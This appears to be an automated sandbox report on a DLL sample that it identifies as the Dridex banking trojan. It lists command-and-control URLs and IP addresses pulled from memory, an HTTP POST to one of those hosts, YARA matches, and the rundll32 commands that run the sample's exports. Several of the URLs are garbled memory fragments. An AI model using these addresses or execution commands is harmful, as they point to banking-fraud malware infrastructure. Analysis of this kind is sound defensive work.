Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.739023483.0000000001676000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.594551032.0000000001673000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.628735432.0000000001672000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.453087889.0000000001672000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.708744109.0000000001676000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.554969204.0000000001672000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.730453084.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/hy
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/k)
Source: loaddll32.exe, 00000000.00000003.764620245.000000000166E000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.441859991.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/l
Source: loaddll32.exe, 00000000.00000003.747478637.000000000166F000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/lB(
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.764620245.000000000166E000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.747478637.000000000166F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.600682349.0000000001676000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.439196608.000000000166E000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.618224210.0000000001676000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.586087040.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/oft
Source: loaddll32.exe, 00000000.00000003.680591172.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/p
Source: loaddll32.exe, 00000000.00000003.764620245.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/t)
Source: loaddll32.exe, 00000000.00000003.738944864.00000000016DB000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/u
Source: loaddll32.exe, 00000000.00000003.494287191.000000000166F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.641039934.00000000016DB000.00000004.00000001.sdmp	String found in binary or memory: https://18192.46.210.220/
Source: loaddll32.exe, 00000000.00000003.569464960.00000000016DB000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000002.771944761.00000000056FB000.00000004.00000001.sdmp	String found in binary or memory: https://182.46.210.220/
Source: loaddll32.exe, 00000000.00000003.641066942.0000000001675000.00000004.00000001.sdmp	String found in binary or memory: https://1845.77.0.96:6891/
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47/
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47/&
Source: loaddll32.exe, 00000000.00000003.392156959.0000000001673000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47/4
Source: loaddll32.exe, 00000000.00000003.392156959.0000000001673000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47/g
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.739023483.0000000001676000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.708744109.0000000001676000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.547755261.00000000034C9000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/
Source: loaddll32.exe, 00000000.00000003.742305887.000000000166F000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/)
Source: loaddll32.exe, 00000000.00000003.680591172.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/0
Source: loaddll32.exe, 00000000.00000003.658533321.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/3
Source: loaddll32.exe, 00000000.00000003.708744109.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/4
Source: loaddll32.exe, 00000000.00000003.594551032.0000000001673000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.756126236.000000000166D000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.519076756.0000000001673000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/4.140.214:808/hy
Source: loaddll32.exe, 00000000.00000003.742305887.000000000166F000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/8D
Source: loaddll32.exe, 00000000.00000003.418080162.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/B
Source: loaddll32.exe, 00000000.00000003.742305887.000000000166F000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/H3
Source: loaddll32.exe, 00000000.00000003.586087040.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/O
Source: loaddll32.exe, 00000000.00000003.594551032.0000000001673000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/Ps%
Source: loaddll32.exe, 00000000.00000003.586087040.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/S
Source: loaddll32.exe, 00000000.00000003.703443485.0000000001675000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/V
Source: loaddll32.exe, 00000000.00000003.676183514.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/Y
Source: loaddll32.exe, 00000000.00000003.629814185.0000000001673000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/fW
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/i#
Source: loaddll32.exe, 00000000.00000003.594551032.0000000001673000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/ll
Source: rundll32.exe, 00000004.00000003.741865046.00000000034C9000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/o)
Source: loaddll32.exe, 00000000.00000003.708727054.00000000016DB000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/p
Source: loaddll32.exe, 00000000.00000003.750936613.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/rS
Source: loaddll32.exe, 00000000.00000003.395037799.000000000166E000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.400716165.0000000001673000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.628735432.0000000001672000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.703443485.0000000001675000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.418080162.000000000166E000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.494287191.000000000166F000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/soft
Source: loaddll32.exe, 00000000.00000003.444519765.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/y#
Source: rundll32.exe, 00000004.00000003.612201176.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://19.77.0.96:6891/
Source: rundll32.exe, 00000004.00000003.441859991.00000000056FE000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.390529394.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/
Source: loaddll32.exe, 00000000.00000003.436575966.000000000166B000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/%Ev
Source: loaddll32.exe, 00000000.00000003.453087889.0000000001672000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/)
Source: rundll32.exe, 00000004.00000003.533230659.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/.
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/4
Source: rundll32.exe, 00000004.00000003.541565391.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/7.0.96:6891/
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/?
Source: loaddll32.exe, 00000000.00000003.747478637.000000000166F000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/C
Source: loaddll32.exe, 00000000.00000003.453087889.0000000001672000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/HL
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/J
Source: loaddll32.exe, 00000000.00000003.764620245.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/Q
Source: loaddll32.exe, 00000000.00000003.439196608.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/TL
Source: loaddll32.exe, 00000000.00000003.497146679.000000000166F000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/X
Source: loaddll32.exe, 00000000.00000003.600682349.0000000001676000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.439196608.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/aenh.dll
Source: loaddll32.exe, 00000000.00000003.453087889.0000000001672000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/aenh.dllc
Source: loaddll32.exe, 00000000.00000003.530192281.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/aenh.dllltbac
Source: loaddll32.exe, 00000000.00000003.577873723.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/aenh.dllm
Source: loaddll32.exe, 00000000.00000003.521947137.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/coro8
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/g
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/hL
Source: loaddll32.exe, 00000000.00000003.395037799.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/i
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/n
Source: rundll32.exe, 00000004.00000003.441859991.00000000056FE000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.541565391.00000000056FE000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.581920217.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/ography
Source: loaddll32.exe, 00000000.00000003.713747345.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/r
Source: loaddll32.exe, 00000000.00000003.449677667.00000000016DB000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.541565391.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://193.244.140.214:808/
Source: loaddll32.exe, 00000000.00000003.626454578.00000000016DB000.00000004.00000001.sdmp	String found in binary or memory: https://195.56.219.47:8116/
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.395037799.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96/
Source: loaddll32.exe, 00000000.00000003.395037799.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96//Fm
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96/F7
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.476592616.0000000001676000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.547755261.00000000034C9000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/
Source: loaddll32.exe, 00000000.00000003.574895771.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/)
Source: rundll32.exe, 00000004.00000003.541565391.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/.
Source: rundll32.exe, 00000004.00000003.441859991.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/.0.96:6891/
Source: loaddll32.exe, 00000000.00000002.769348582.000000000166E000.00000004.00000020.sdmp	String found in binary or memory: https://45.77.0.96:6891//
Source: loaddll32.exe, 00000000.00000003.719882602.0000000001675000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/08/
Source: loaddll32.exe, 00000000.00000003.399573978.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/08/Y
Source: loaddll32.exe, 00000000.00000003.408181456.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/08/l
Source: loaddll32.exe, 00000000.00000003.628735432.0000000001672000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.418080162.000000000166E000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.612201176.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/14
Source: loaddll32.exe, 00000000.00000003.476592616.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/14H
Source: loaddll32.exe, 00000000.00000003.408181456.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/4
Source: loaddll32.exe, 00000000.00000003.574895771.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/6/
Source: loaddll32.exe, 00000000.00000003.628735432.0000000001672000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/65
Source: loaddll32.exe, 00000000.00000003.497146679.000000000166F000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/8
Source: rundll32.exe, 00000004.00000003.441859991.00000000056FE000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.458615929.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/Microsoft
Source: loaddll32.exe, 00000000.00000003.431000649.000000000166D000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/R
Source: loaddll32.exe, 00000000.00000003.569505666.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/S
Source: loaddll32.exe, 00000000.00000003.519010998.00000000016DB000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/X
Source: loaddll32.exe, 00000000.00000003.574895771.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/Y#
Source: rundll32.exe, 00000004.00000003.541565391.00000000056FE000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000002.771944761.00000000056FB000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/graphy
Source: loaddll32.exe, 00000000.00000003.604985676.0000000001672000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/h.dll
Source: rundll32.exe, 00000004.00000003.612166801.00000000034C9000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/o)
Source: loaddll32.exe, 00000000.00000002.769348582.000000000166E000.00000004.00000020.sdmp	String found in binary or memory: https://45.77.0.96:6891/p
Source: loaddll32.exe, 00000000.00000003.476592616.0000000001676000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.612166801.00000000034C9000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/r
Source: loaddll32.exe, 00000000.00000003.574895771.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/ra
Source: rundll32.exe, 00000004.00000003.612201176.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/v
Source: loaddll32.exe, 00000000.00000003.764620245.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://453.244.140.214:808/
Source: loaddll32.exe, 00000000.00000003.586077792.00000000016DB000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.458615929.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://455.56.219.47:8116/
Source: loaddll32.exe, 00000000.00000003.680591172.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://di3.244.140.214:808/

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4844Connection: CloseCache-Control: no-cache

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EBC39F9 InternetReadFile,

0_2_6EBC39F9

Source: unknown	HTTPS traffic detected: 192.46.210.220:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.46.210.220:443 -> 192.168.2.5:49753 version: TLS 1.2

E-Banking Fraud:

Yara detected Dridex unpacked file

Show sources

Source: Yara match	File source: 5.3.rundll32.exe.cfdb55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.eedb55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.rundll32.exe.4cbdb55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.170db55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.rundll32.exe.4cbdb55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.6eb90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.4ccdb55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.6eb90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.cfdb55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.eedb55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.170db55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.4ccdb55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.326244435.0000000004CB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.323665839.0000000000ED0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.370833938.0000000004CA0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.772113565.000000006EB91000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.362350456.0000000000CE0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.373914739.00000000016F0000.00000040.00000001.sdmp, type: MEMORY

Detected Dridex e-Banking trojan

Show sources

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EB951A7 OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,GetAdaptersInfo,

0_2_6EB951A7

Source: SecuriteInfo.com.Variant.Razy.980776.28061.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBA67C8	0_2_6EBA67C8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBA8AB0	0_2_6EBA8AB0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB26B0	0_2_6EBB26B0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB1EB0	0_2_6EBB1EB0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBA8EF0	0_2_6EBA8EF0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB62F0	0_2_6EBB62F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBAF6E0	0_2_6EBAF6E0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EB96AD0	0_2_6EB96AD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBA96D0	0_2_6EBA96D0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB3EC0	0_2_6EBB3EC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBBFA10	0_2_6EBBFA10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB0220	0_2_6EBB0220
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBBD620	0_2_6EBBD620
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EB9CA10	0_2_6EB9CA10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBBFA10	0_2_6EBBFA10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBA9E70	0_2_6EBA9E70
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBAA660	0_2_6EBAA660
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB7660	0_2_6EBB7660
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB2E60	0_2_6EBB2E60
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB1240	0_2_6EBB1240
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EB91784	0_2_6EB91784
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBAE3F0	0_2_6EBAE3F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBA83C0	0_2_6EBA83C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBA7FC0	0_2_6EBA7FC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB7FC0	0_2_6EBB7FC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB1730	0_2_6EBB1730
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB9B10	0_2_6EBB9B10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB3B00	0_2_6EBB3B00
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB5CB0	0_2_6EBB5CB0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBAE0A0	0_2_6EBAE0A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB4CA0	0_2_6EBB4CA0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB50A0	0_2_6EBB50A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBBDCA0	0_2_6EBBDCA0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBA98DA	0_2_6EBA98DA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBAA0D0	0_2_6EBAA0D0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBA88C0	0_2_6EBA88C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBA8CC0	0_2_6EBA8CC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBAD030	0_2_6EBAD030
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB1020	0_2_6EBB1020
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EB9F9A0	0_2_6EB9F9A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBAD980	0_2_6EBAD980
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBBD180	0_2_6EBBD180
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB89F0	0_2_6EBB89F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBB71F0	0_2_6EBB71F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBAFDD0	0_2_6EBAFDD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBA7564	0_2_6EBA7564
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_04E6E768	4_3_04E6E768
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_04E6E768	4_3_04E6E768
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_04E6E4FB	4_3_04E6E4FB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_04E6E4FB	4_3_04E6E4FB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_04E6E8F8	4_3_04E6E8F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_04E6E8F8	4_3_04E6E8F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_04E6E768	4_3_04E6E768
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_04E6E768	4_3_04E6E768
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_04E6E4FB	4_3_04E6E4FB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_04E6E4FB	4_3_04E6E4FB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_04E6E8F8	4_3_04E6E8F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_04E6E8F8	4_3_04E6E8F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBDE210	4_2_6EBDE210

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBA22A0 NtDelayExecution,		0_2_6EBA22A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBBBE30 NtClose,		0_2_6EBBBE30

Source: SecuriteInfo.com.Variant.Razy.980776.28061.dll

Virustotal: Detection: 7%

Source: SecuriteInfo.com.Variant.Razy.980776.28061.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll,Bluewing
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll,Earth
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll,Masterjust
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll,Bluewing	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll,Earth	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll,Masterjust	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll',#1	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal84.bank.troj.evad.winDLL@11/2@0/4

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll,Bluewing

Source: SecuriteInfo.com.Variant.Razy.980776.28061.5528

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: SecuriteInfo.com.Variant.Razy.980776.28061.dll

Static file information: File size 1375232 > 1048576

Source: SecuriteInfo.com.Variant.Razy.980776.28061.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: SecuriteInfo.com.Variant.Razy.980776.28061.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: C:\Windows\System32\loaddll32.exe

